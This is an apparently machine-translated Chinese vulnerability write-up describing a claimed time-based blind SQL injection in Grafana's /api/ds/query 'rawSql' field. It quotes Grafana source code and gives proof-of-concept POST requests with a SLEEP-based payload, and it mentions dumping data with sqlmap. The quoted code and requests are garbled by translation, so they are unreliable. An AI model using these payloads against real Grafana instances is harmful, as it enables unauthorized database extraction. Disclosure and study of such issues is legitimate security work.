Grafana後端sql注入影響所有版本
漏洞描述
用於監控和可觀察的開源平台要利用此sql注入漏洞,必須使用有效帳戶登入grafana Web後端,然後向/api/ds/query「rawSql」條目發送惡意POST請求。
如果攻擊者登入grafana web後端,他們可以使用post請求到/api/ds/query api,然後他們可以修改「rawSql」檔案來執行惡意sql字串,導致基於時間的盲sql注入漏洞,然後洩漏來自資料庫的數據。
風險等級
- 高的
衝擊版
- grafana最新和所有舊版本
漏洞分析
- grafana grafana-sql 套件在 grafana/packages/grafana-sql/src/datasource/SqlDatasource.ts 檔案中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | // 注意:這總是以 `@grafana/data/getDefaultTimeRange` 時間範圍執行 async runSql<T extends object>(query: string, options?: RunSQLOptions) { const range = getDefaultTimeRange(); const frame = wait this.runMetaQuery({ rawSql: query, format: QueryFormat.Table, refId: options?.refId }, range);返回新的 DataFrameView<T>(frame); } private runMetaQuery(request: Partial<SQLQuery>, range: TimeRange): Promise<DataFrame> { const refId = request.refId || '元' ; const 查詢: DataQuery[] = [{ ...request, datasource: request.datasource || this.getRef(), refId }]; return lastValueFrom( getBackendSrv() .fetch<BackendDataSourceResponse>({ url: '/api/ds/query' , method: 'POST' , headers: this.getRequestHeaders(), data: { from: range.from.valueOf() .toString(), to: range.to.valueOf().toString(), 查詢, }, requestId: refId, }) .pipe( map((res: FetchResponse<BackendDataSourceResponse>) => { const rsp = toDataQueryResponse<BackendDataSourceResponse>) => { const rsp = toDataQueryResponse( res, 查詢); 返回 rsp.data[ 0 ] ?? { 字段: [] } ) ) ; } |
- grafana/public/app/plugins/datasource/influxdb/datasource.ts 檔案中的 grafana 資料來源插件
async metricFindQuery(query: string, options?: any): Promise<MetricFindValue[]> { if ( this.version === InfluxVersion.Flux || this.version === InfluxVersion.SQL || this.isMigrationToggle AndIsIigAccess Andis ) { const target: InfluxQuery & SQLQuery = { refId: 'metricFindQuery' , query, rawQuery: true , ...(this.version === InfluxVersion.SQL ? { rawSql: query, format: QueryFormat.Table } : {}) , }; return lastValueFrom( super.query({ ...(options ?? {}), // 包含「範圍」 目標:[target], }) )。然後(this.toMetricFindValue); } const interpolated = this.templateSrv.replace( 查詢, 選項?.scopedVars, (值:字串 | string[] = [],變數:QueryVariableModel)=> this.interpolateQueryExpr(值,變數,查詢) ); 返回lastValueFrom(this._seriesQuery(插值,選項))。則((resp) => { return this.responseParser.parse(query, resp); }); } ..... return lastValueFrom( getBackendSrv() .fetch<BackendDataSourceResponse>({ url: '/api/ds/query', method: 'POST', headers: this.getRequestHeaders(), data: { from: options.range.from.valueOf ().toString(), to: options.range.to.valueOf().toString(), 查詢: [目標], }, requestId: 註釋.name, }) .pipe( map( async (res: FetchResponse< BackendDataSourceResponse>) => 等待 this.responseParser.transformAnnotationResponse(annotation, res, target) ) ) ) ; |
Grafana 不會驗證發送到 DataSource 代理程式的任何查詢
漏洞重現
- grafana v8.0.4 poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | POST /api/ds/query HTTP/1.1 主機:172.16.32.57:3000 使用者代理:qzd_security_test_user_agent 接受:application/json,text/plain,*/* 接受語言:zh-CN,zh;q=0.8,zh -TW. ;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 接受編碼: gzip, deflate 參考: http://172.16.32.57:3000/d/AEo5dM44k /pei- xun-xi-tong?orgId=1 內容類型:application/json x-grafana-org-id:1 內容長度:142 來源:http://172.16.32.57:3000 DNT:1 連結:關閉 Cookie:grafana_session=ede75844e20b0001a { “查詢” :[{ “refId” : “A” , “格式” : “time_series” , “datasourceId” :2, “rawSql” : “(SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)”,“maxDataPoints”:10000}]} |
- grafana v10.4.2 poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | POST /api/ds/query HTTP/1.1 主機:172.28.171.25:3000 使用者代理:qzd_security_test_user_agent 接受:application/json,text/plain,*/* 接受語言:zh-CN,zh;q=0.8,zh -TW ;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 接受編碼: gzip, deflate Referer: http://172.28.171.25:3000/explore content-型別:application /json x-datasource-uid:edj6pz14v89a8c x-grafana-device-id:6eda885e8d5e5370781b533e605dd6fb x-grafana-org-id:1 x-plugin- id :mysql7201 x -grafana-org -id :1 x-plugin-id:mysql7201 : 1連線: 關閉Cookie: grafana_session=dfa008ccdbe45635eed9592216f2f04a; grafana_session_expiry=1713514866 { “來自”:“1713492692433”,“到”:“ 1713514292433”,“查詢”:[{ “ rawSql ”:“(SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN(2)))格式:表」,“refId”:“資料集”,“資料來源”:{ “類型”:“mysql”,“uid”:“edj6pz14v89a8c” }}]} |
- 使用sqlmap轉儲數據
錯誤修復
Grafana 不會驗證發送到 DataSource 代理的任何查詢,過濾必須在資料來源端完成。概括
grafana官方安全團隊不認為這是一個漏洞,它是後端的一個功能,它一定讓我感到非常不安...